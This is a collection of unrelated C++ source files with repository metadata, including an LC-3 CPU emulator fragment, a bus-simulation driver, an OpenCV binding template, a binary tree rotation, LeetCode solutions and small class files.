std::cout<<"OP_LEA result: "<<std::hex<<m_R[(instruction&DR_MASK)>>9]<<" at R"<<((instruction&DR_MASK)>>9)<<std::endl; break; } case OP_STR: // mem[BaseR + offset6] = SR { //bus_if::status_t trans; //trans= dport->write(m_R[(instruction&BREG_MASK)>>6]+SEXT(10,instruction&IMM6_MASK),m_R[(instruction&DR_MASK)>>9]); break; } case OP_RTI: // PC = R7: exit supervisor mode { //Pending break; } case OP_LEA: { m_R[(instruction&DR_MASK)>>9]=m_PC+SEXT(7,instruction&IMM9_MASK); setcc(m_R[(instruction&DR_MASK)>>9]); std::cout<<"OP_LEA result: "<<std::hex<<m_R[(instruction&DR_MASK)>>9]<<" at R"<<((instruction&DR_MASK)>>9)<<std::endl; break; } case OP_LDI: // DR = mem[mem[PCi + PCoffset9]] { uint16 data; //bus_if::status_t trans; //trans= dport->read(m_R[m_PC+SEXT(7,instruction&IMM9_MASK)], data); m_R[(instruction&DR_MASK)>>9]=data; setcc(data); std::cout<<"OP_LDI result: "<<std::hex<<data<<" at R"<<((instruction&DR_MASK)>>9)<<std::endl; break; } case OP_STI: // mem[mem[PCi + offset9]] = SR { uint16 tempaddr; //bus_if::status_t trans; //trans= dport->read(m_PC+SEXT(7,instruction&IMM9_MASK),tempaddr); //trans= dport->write(tempaddr,m_R[(instruction&DR_MASK)>>9]); std::cout<<"OP_LDI result: "<<std::hex<<m_R[(instruction&DR_MASK)>>9]<<" at M"<<std::hex<<tempaddr<<std::endl; break; } case OP_JMP_RET: // PC = R7 (RET) or PC = Rx (JMP Rx) { if((instruction&BREG_MASK)==0x1C0) m_PC= m_R[7]; else m_PC= m_R[(instruction&BREG_MASK)>>6]; //JMP break; } case OP_RESERVED: { std::cout<<"Illegal OPCODE!"; sc_stop(); break; } case OP_TRAP: { //Pending sc_stop(); break; } } } void LC3::step() { uint16 instruction; while(1) { iport->read(m_PC, instruction); std::cout<<"PC : "<<std::hex<<m_PC<<std::endl; m_PC+=1; dec_and_exec(instruction); wait(5,SC_NS); std::cout<<"OPCODE: "<< opcode_t(get_opcode(instruction))<<std::endl; } } void LC3::reset() { m_PC=0; //Reset PC std::fill(m_R.begin(), m_R.end(), 0); //Reset R0-R7 //Reset PSR flags //m_privilege =0; //m_priority =0; m_N = 0; m_Z = 0; m_P = 0; } uint16 LC3::SEXT(int num_bits, uint16 immediate) { if(num_bits==11 && (immediate & 0x10)) { // std::cout<<"IMM5 val: "<<std::hex<<immediate<<" SignExtended: "<<std::hex<<(immediate | 0xFFE0)<<std::endl; return (immediate | 0xFFE0); } else if(num_bits==10 && (immediate & 0x20)) return (immediate | 0xFFC0); else if(num_bits==7 && (immediate & 0x100)) { // std::cout<<"Returned extended IMM9"<<std::endl; return (immediate | 0xFE00); } else if(num_bits==5 && (immediate & 0x800)) return (immediate | 0xF000); else return immediate; }
[ "snehiths@vayavyalabs.com" ]
snehiths@vayavyalabs.com
d03cdb5c8a6355bbe9642da51beeec662326207e
3b61d94c95f8687b0cc4df554c92e3616417122b
/drivers/passenger_generator_driver.cc
2df964f3b208f803c073baf322548054ea9741c2
[]
no_license
hwangdav000/Bus_Simulation
a60bb19a6f0689633400d87de47201f5b2cddea0
a84180283df474be3af33d2297af811f89d249b1
refs/heads/master
2022-07-04T22:52:15.517156
2020-05-15T13:22:35
2020-05-15T13:22:35
264,197,629
1
0
null
null
null
null
UTF-8
C++
false
false
2,216
cc
#include <iostream> #include <vector> #include <list> #include <random> #include <ctime> #include "passenger.h" #include "stop.h" #include "passenger_generator.h" #include "random_passenger_generator.h" int main() { int rounds = 10; //Number of rounds of generation to simulate in test srand((long)time(NULL)); //Seed the random number generator... Stop stop1(1); //student union station Stop stop2(2, 44.973820, -93.227117); //Oak St & Washington Ave Stop stop3(3, 45, -94); //? Stop stop4(4, 46, -95); //? Stop stop5(5, 47, -96); std::list<Stop *> my_stops; my_stops.push_back(&stop1); my_stops.push_back(&stop2); my_stops.push_back(&stop3); my_stops.push_back(&stop4); my_stops.push_back(&stop5); std::list<double> probs; probs.push_back(.1); probs.push_back(.5); probs.push_back(.2); probs.push_back(.05); probs.push_back(0); //TODO: is this always true? If so, we may want to reduce the length of probs to_char_type // remove possibility of generating passengers with nowhere to go PassengerGenerator * generator = new RandomPassengerGenerator(probs, my_stops); int total_generated = 0; std::cout << "/*\n *\n * Initial Report\n *\n*/" << std::endl; for (std::list<Stop *>::iterator stop_iter = my_stops.begin(); stop_iter != my_stops.end(); stop_iter++) { (*stop_iter)->Update(); std::cout << std::endl << "\t*** Stop Report ***" << std::endl << std::endl; (*stop_iter)->Report(std::cout); } for (int i = 0; i < rounds; i++) { std::cout << "/*\n *\n * Generation #" << (i+1) << "\n *\n*/" << std::endl; total_generated += generator->GeneratePassengers(); std::cout << "/*\n *\n * Report\n *\n*/" << std::endl; for (std::list<Stop *>::iterator stop_iter = my_stops.begin(); stop_iter != my_stops.end(); stop_iter++) { (*stop_iter)->Update(); std::cout << std::endl << "\t*** Stop Report ***" << std::endl << std::endl; (*stop_iter)->Report(std::cout); } std::cout << std::endl << std::endl; } std::cout << "*\n*\n*\n*\n*\t PASSENGERS CREATED *\n*\n*\n*\n*\n" << std::endl; std::cout << total_generated << std::endl; return 0; }
[ "hwan0259@umn.edu" ]
hwan0259@umn.edu
1beedc0ebecd090b078e4e0da1ce828af031a289
9b596d7dbfe9f3605f3c0c45c62844bb04fb9292
/binding-generator/tpl/smart_ptr/cpp.tpl.cpp
557c26837b055932b357139afc6734ec28398674
[ "LicenseRef-scancode-warranty-disclaimer", "MIT" ]
permissive
taojunxin/opencv-rust
2f9225e5f9158f62722d174b749ced6469bf8ba8
75255a29c221f69f0339ae1bd12e9e3a7181a225
refs/heads/master
2021-03-08T14:39:08.146761
2020-03-09T20:56:33
2020-03-10T12:51:53
null
0
0
null
null
null
null
UTF-8
C++
false
false
201
cpp
extern "C" void cv_{{rust_local}}_delete({{cpp_full}}* instance) { delete instance; } extern "C" {{cpp_extern}} cv_{{rust_local}}_get_inner_ptr({{cpp_full}}* instance) { return instance->get(); }
[ "twisted.fall@gmail.com" ]
twisted.fall@gmail.com
d59641188685c1c7bb1b6850e6bed94bae022d07
2d519c0aec7a95fecd7c02db833e4afd5ef941fa
/dsacpp/src/binTree/BinNode_zig.h
757b48cb770d64d7b69cc6ae33b27c94f4ceff45
[]
no_license
mstao/data-structures
21f26ffcedf336d9b87b65ac87428e6987cd8233
27f538ba8c69b17d739906ab8423663cdc1ecf99
refs/heads/master
2022-09-19T21:04:29.667932
2022-08-30T07:54:25
2022-08-30T07:54:25
113,195,381
1
0
null
null
null
null
UTF-8
C++
false
false
1,166
h
/****************************************************************************************** * Data Structures in C++ * ISBN: 7-302-33064-6 & 7-302-33065-3 & 7-302-29652-2 & 7-302-26883-3 * Junhui DENG, deng@tsinghua.edu.cn * Computer Science & Technology, Tsinghua University * Copyright (c) 2003-2019. All rights reserved. ******************************************************************************************/ #pragma once template <typename T> BinNodePosi(T) BinNode<T>::zig() { //顺时针旋转 BinNodePosi(T) lChild = lc; lChild->parent = this->parent; if ( lChild->parent ) ( ( this == lChild->parent->rc ) ? lChild->parent->rc : lChild->parent->lc ) = lChild; lc = lChild->rc; if ( lc ) lc->parent = this; lChild->rc = this; this->parent = lChild; // update heights () height = 1 + __max ( stature ( lc ), stature ( rc ) ); lChild->height = 1 + __max ( stature ( lChild->lc ), stature ( lChild->rc ) ); for ( BinNodePosi(T) x = lChild->parent; x; x = x->parent ) if ( HeightUpdated( *x ) ) break; else x->height = 1 + __max ( stature ( x->lc ), stature ( x->rc ) ); return lChild; }
[ "walkerhan@126.com" ]
walkerhan@126.com
6b06864ea71a2b9f21dc17a4e6e5899190cc42c5
887ceac74ae641561f2b67f0b78f986aff1d6651
/Leetcode/MinimumMovesToMakeArrayEqual.cpp
d102b129dccfdef186a6967579d5f5d59e235984
[]
no_license
rachitvk/Competitive-Programming
210d2eed2822f226091035656c8b3b8a47a93f44
228557036660492b2df38f21336cfbe025a13951
refs/heads/master
2020-04-23T15:15:30.503158
2019-05-18T07:32:08
2019-05-18T07:32:08
171,258,978
2
0
null
null
null
null
UTF-8
C++
false
false
701
cpp
class Solution { public: int minMoves2(vector<int>& nums) { sort(nums.begin(),nums.end()); int c; c=nums.size()/2; int x=nums[c]; int sum=0; for(int i=0;i<nums.size();i++) { sum+=abs(x-nums[i]); } return sum; } };class Solution { public: int minMoves(vector<int>& nums) { int n=nums.size(); long long sum=0; long long mn=INT_MAX; if(n<=1) return 0; for(int i=0;i<nums.size();i++){ if(mn>nums[i]) mn=nums[i]; sum+=nums[i]; } return sum-mn*n; } };
[ "kulkarni.rachit@gmail.com" ]
kulkarni.rachit@gmail.com
7786d5a9bdac6a43edc7adbf966d8fe5c18c7324
1013586234b6811b6ec319a40159d8b947777a63
/src/drawables/builder.hpp
46132d21cb714140c9d4dd55b1ab2f498954ed6f
[]
no_license
dorsath/sprite-game
8feb0ce6bcf13770f6840f9a3ae3de7549651534
5436e1084e19397c188bb0aff48fe0b4f09df094
refs/heads/master
2021-01-21T22:29:24.516561
2015-09-18T12:31:52
2015-09-18T12:31:52
42,653,659
0
0
null
null
null
null
UTF-8
C++
false
false
647
hpp
#ifndef DRAWABLES_BUILDER_HPP #define DRAWABLES_BUILDER_HPP class Builder: public Drawable { public: void draw(float dt); void setup(); void setLevel(Level* level); void click_callback(int button, int action, int modifiers, Coordinate mouseCoord); Builder(); private: Chunk* chunk_; Level* level_; Sprite* sprite_; int tool_; int mode_; void buildKeyHandles(float dt); void moveToChunk(Vec2 position); Coordinate tileLocationFrom; Vec2 position_; Timeout saveTimeout; Timeout moveTimeout; static const int BUILD_MODE = 0; static const int SELECT_MODE = 1; }; #endif
[ "ronald.m.hecker@gmail.com" ]
ronald.m.hecker@gmail.com
8e7a7fa95b20eb66a1b15c4c64a6e62f478fb5c4
e1d8092100af371e5264905baadfadbaa8924801
/hsp3-debug-empty/hsp3-debug-empty/pch.cpp
e1745e0256649b660fb0b1d18b649a52a77ff901
[ "CC0-1.0", "MIT" ]
permissive
vain0x/hsp3-ginger
b3b6beb999bec277e3db62404ee0351386ab6b4b
6fedf4e978c7a0d485ca78efbe4bf7bec4dcb71a
refs/heads/main
2023-08-09T09:28:16.213825
2023-04-19T14:20:12
2023-04-19T14:20:12
181,879,192
5
2
NOASSERTION
2021-11-01T12:25:11
2019-04-17T11:40:15
Rust
UTF-8
C++
false
false
307
cpp
// プリコンパイル済みヘッダーに対応するソースファイル // プリコンパイル済みヘッダーを使用している場合、コンパイルを成功させるにはこのソースファイルが必要です。 #include "pch.h" // ここには何も書かないでください。
[ "vainzerox@gmail.com" ]
vainzerox@gmail.com
9a7ac89bc2ea7ecba8bbf8ad41440839ef911153
d0bda5b8445ac26f29d6fc5dbcf3c0f417169101
/pointers_and_memory/namespaces/Animals.cpp
1f672aa74ebe2572d7aeb342a2645e805f6a925a
[]
no_license
Tanner-York-Make-School/SUP-2.1-Supervised-Intensive-Study
ad399dd28f18d44f1450aefb6b33acfcb85b4db9
06f632e896cc5af31edaf1f80328b1169045583b
refs/heads/main
2023-03-22T09:29:11.458719
2021-03-18T21:54:20
2021-03-18T21:54:20
310,428,700
0
0
null
null
null
null
UTF-8
C++
false
false
186
cpp
#include "Animals.h" namespace jwp { Cat::Cat() { // Constructor } Cat::~Cat() { // Destructure } void Cat::speak() { cout << "SSSsssss!" << endl; } } /* namspace jwp */
[ "tannerwyork@gmail.com" ]
tannerwyork@gmail.com
f584c67087f5c5035999ab039a0ed85d8c7e32c3
5f38b79a9032986797b3aa848c6e9f8a0f768222
/Watches/AGlass.cpp
7e9f40158f1ac14755796707d4decefc3ad57430
[]
no_license
AleksandarPav/Watches
2b45bbe3080df96229a9dfab157182f6ff1eb2f2
168023a1135495c0c7c332f226c221f486c30b12
refs/heads/master
2022-12-12T23:10:36.107632
2020-09-14T02:32:28
2020-09-14T02:32:28
295,206,696
0
0
null
null
null
null
UTF-8
C++
false
false
119
cpp
#include "AGlass.h" unique_ptr<PAccessory> AGlass::Copy() const { return unique_ptr<PAccessory>(new AGlass(*this)); }
[ "aleksandarp.ftn@gmail.com" ]
aleksandarp.ftn@gmail.com